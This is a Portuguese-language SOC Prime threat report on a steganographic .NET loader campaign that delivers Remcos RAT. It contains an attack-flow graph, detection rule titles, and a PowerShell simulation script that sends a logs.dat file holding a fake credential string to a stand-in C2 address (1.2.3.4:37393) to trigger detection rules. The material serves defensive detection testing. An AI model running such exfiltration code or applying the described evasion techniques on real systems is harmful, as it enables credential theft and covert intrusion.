SOC Prime Bias: Alta

24 Jun 2026 06:40 UTC

K7 Labs

Uma campanha de carregador esteganográfico em várias etapas que implanta cargas diversas em todo o mundo

SOC Prime Team

Seguir

Uma campanha de carregador esteganográfico em várias etapas que implanta cargas diversas em todo o mundo

Detection stack

AIDR
Alert
ETL
Query

Relatório de Ameaça
Fluxo de Ataque
Detecções
Simulações

Resumo

Uma campanha de malware em várias etapas depende de esteganografia e execução na memória para entregar múltiplas cargas, incluindo o Remcos RAT. A cadeia de infecção começa com um e-mail de phishing carregando um arquivo malicioso que solta um executável .NET. Esse executável usa recursos embutidos e métodos esteganográficos para carregar estágios posteriores diretamente na memória, ajudando o malware a evitar a detecção baseada em disco.

Investigação

A investigação começou após a telemetria sinalizar um arquivo suspeito nomeado GST Debit Note Apr_26.com. Os analistas determinaram que o arquivo era um executável .NET de 32 bits empacotado disfarçado de um jogo. Uma engenharia reversa mais aprofundada revelou esteganografia embutida em um objeto Bitmap .NET, que ocultava o carregador da próxima etapa, Optimax.dll, e permitia a sua execução totalmente na memória.

Mitigação

As organizações devem implantar filtragem de e-mails robusta para bloquear anexos de arquivo suspeitos e tentativas de phishing. Soluções EDR devem ser capazes de detectar execuções na memória, oco de processo e comportamento suspeito do PowerShell. As equipes também devem monitorar mudanças não autorizadas no registro, especialmente nas chaves de execução, e impor controle de aplicação rigoroso para evitar que executáveis não assinados sejam lançados.

Resposta

Os endpoints afetados devem ser isolados imediatamente para limitar o movimento lateral e o roubo de dados. Os investigadores devem realizar uma análise de memória para identificar componentes sem arquivo e confirmar a presença de Remcos_Mutex_Inj mutex. Um rastreamento completo também deve verificar por persistência não autorizada no diretório AppData e nas chaves de execução do registro, enquanto as credenciais devem ser redefinidas para quaisquer usuários cujos navegadores possam ter sido acessados pelo malware.

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ff99cc classDef technique fill:#c2f0c2 classDef file fill:#e1e1e1 %% Node Definitions %% Initial Access attack_phishing["Action – Phishing: Spearphishing Attachment Details: Malicious archive GST Debit Note Apr_26.com sent to victims."] class attack_phishing action %% Evasion and Loader Stage 1 evasion_stego["Obfuscated Files or Information: Steganography Details: Hiding Optimax.dll inside a serialized .NET Bitmap object within the executable resource section."] class evasion_stego technique exec_appdomain["Hijack Execution Flow: AppDomainManager Details: Using reflection and AppDomain.Load to execute payload directly from memory without touching disk."] class exec_appdomain technique %% Second Stage loader_stage2["Process Injection: Process Hollowing Details: System Optimizer Ultimate.dll deploys final payload by hollowing a default browser process."] class loader_stage2 technique malware_remcos["Remcos RAT Description: Remote Access Trojan deployed as the final payload."] class malware_remcos malware %% Persistence and Evasion evasion_sandbox["Virtualization/Sandbox Evasion Details: Checking for sbiedll.dll and registry keys to detect sandboxes or virtual machines."] class evasion_sandbox technique persistence_active["Boot or Logon Autostart Execution: Active Setup Details: Copying malware to AppDataRoaming and configuring a Run registry key for persistence."] class persistence_active technique %% Collection and Exfiltration collect_browser["Browser Information Discovery Details: Collecting Chrome and Firefox credentials."] class collect_browser technique steal_cookies["Steal Web Session Cookie Details: Capturing active web session cookies."] class steal_cookies technique exfil_c2["Exfiltration Over C2 Channel Details: Sending captured data from logs.dat to the attacker via Command and Control."] class exfil_c2 technique file_logs["logs.dat Description: Local file used to store

graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ff99cc classDef technique fill:#c2f0c2 classDef file fill:#e1e1e1 %% Node Definitions %% Initial Access attack_phishing[“Ação – Phishing: Anexo de Spearphishing Detalhes: Arquivo malicioso GST Debit Note Apr_26.com enviado às vítimas.”] class attack_phishing action %% Evasion and Loader Stage 1 evasion_stego[“Arquivos ou Informações Ofuscados: Esteganografia Detalhes: Ocultação do Optimax.dll dentro de um objeto Bitmap .NET serializado na seção de recursos do executável.”] class evasion_stego technique exec_appdomain[“Desvio do Fluxo de Execução: AppDomainManager Detalhes: Usando reflexão e AppDomain.Load para executar a carga diretamente da memória sem tocar no disco.”] class exec_appdomain technique %% Second Stage loader_stage2[“Injeção de Processo: Vazio de Processo Detalhes: System Optimizer Ultimate.dll implanta a carga final esvaziando um processo de navegador padrão.”] class loader_stage2 technique malware_remcos[“Remcos RAT Descrição: Trojan de Acesso Remoto implantado como a carga final.”] class malware_remcos malware %% Persistence and Evasion evasion_sandbox[“Evasão de Virtualização/Sandbox Detalhes: Verificação de sbiedll.dll e chaves do registro para detectar sandboxes ou máquinas virtuais.”] class evasion_sandbox technique persistence_active[“Execução de Inicialização ou Logon: Configuração Ativa Detalhes: Copiando malware para AppDataRoaming e configurando uma chave de execução do registro para persistência.”] class persistence_active technique %% Collection and Exfiltration collect_browser[“Descoberta de Informações do Navegador Detalhes: Coleta de credenciais do Chrome e Firefox.”] class collect_browser technique steal_cookies[“Roubo de Cookie de Sessão Web Detalhes: Captura de cookies de sessão web ativos.”] class steal_cookies technique exfil_c2[“Exfiltração Sobre Canal C2 Detalhes: Envio de dados capturados de logs.dat para o atacante via Comando e Controle.”] class exfil_c2 technique file_logs[“logs.dat Descrição: Arquivo local usado para armazenar credenciais e cookies roubados.”] class file_logs file %% Connections %% Flow of attack attack_phishing –>|conduz_para| evasion_stego evasion_stego –>|desembala| exec_appdomain exec_appdomain –>|carrega| loader_stage2 loader_stage2 –>|implanta| malware_remcos %% Malware actions malware_remcos –>|executa| evasion_sandbox malware_remcos –>|estabelece| persistence_active malware_remcos –>|executa| collect_browser collect_browser –>|conduz_para| steal_cookies steal_cookies –>|salva_em| file_logs file_logs –>|enviado_via| exfil_c2

Fluxo de Ataque

Detecções

Chamada de Métodos .NET Suspeitos via Powershell (via powershell)

Equipe SOC Prime

23 Jun 2026

Ver

Possíveis Pontos de Persistência [ASEPs – Software/NTUSER Hive] (via evento_registro)

Equipe SOC Prime

23 Jun 2026

Ver

A Possibilidade de Execução Através de Linhas de Comando PowerShell Ocultas (via linha_de_comando)

Equipe SOC Prime

23 Jun 2026

Ver

Possíveis Indicadores de Ofuscação do PowerShell (via powershell)

Equipe SOC Prime

23 Jun 2026

Ver

Exfiltração de Dados Capturados para Comando e Controle [Conexão de Rede do Windows]

Regras de IA da SOC Prime

23 Jun 2026

Ver

Execução de Script PowerShell Ofuscado em Campanha de Carregador Esteganográfico [Windows PowerShell]

Regras de IA da SOC Prime

23 Jun 2026

Ver

Detecção de Infecção por Remcos RAT via Técnicas Esteganográficas e Sem Arquivos [Criação de Processo no Windows]

Regras de IA da SOC Prime

23 Jun 2026

Ver

Execução de Simulação

Pré-requisito: O Check de Preparação de Telemetria e Linha de Base deve ter sido aprovado.

Racional: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos incorretos.

Narrativa de Ataque & Comandos: O adversário estabeleceu com sucesso um ponto de acesso. Para completar o objetivo, eles coletam a telemetria do sistema e a escondem em um arquivo chamado logs.dat para se disfarçar como logs de sistema padrão. O adversário então inicia uma conexão de rede com a infraestrutura C2 estabelecida (usando o IP 1.2.3.4 e porta 37393 para esta simulação) para exfiltrar os dados. Isso imita o comportamento de um carregador esteganográfico tentando mover dados para fora da rede através de um canal específico e codificado.

Script de Teste de Regressão:

# Simulação de Exfiltração de Dados via nome de arquivo específico e parâmetros C2
$C2_IP = "1.2.3.4" # IP C2 Simulado
$C2_PORT = 37393
$FILENAME = "logs.dat"

# 1. Criar o arquivo de dados 'malicioso'
Write-Output "Dados Sensíveis: SenhaAdmin_Usuario" | Out-File -FilePath "$env:TEMP$FILENAME"

# 2. Simular a conexão de rede para o C2
# Usando um Cliente TCP para forçar a telemetria específica de porta/IP
try {
    $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT)
    $stream = $client.GetStream()
    $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME"))
    $stream.Write($data, 0, $data.Length)
    $client.Close()
} catch {
    Write-Host "Conexão falhou (Esperado se o IP não existir), mas a telemetria deve ser capturada pelo firewall."
}

Comandos de Limpeza:

# Remover o arquivo malicioso simulado
Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue

Junte-se à plataforma Detection as Code da SOC Prime para melhorar a visibilidade das ameaças mais relevantes para o seu negócio. Para ajudá-lo a começar e gerar valor imediato, agende uma reunião agora com os especialistas da SOC Prime.

Cadastre-se Gratuitamente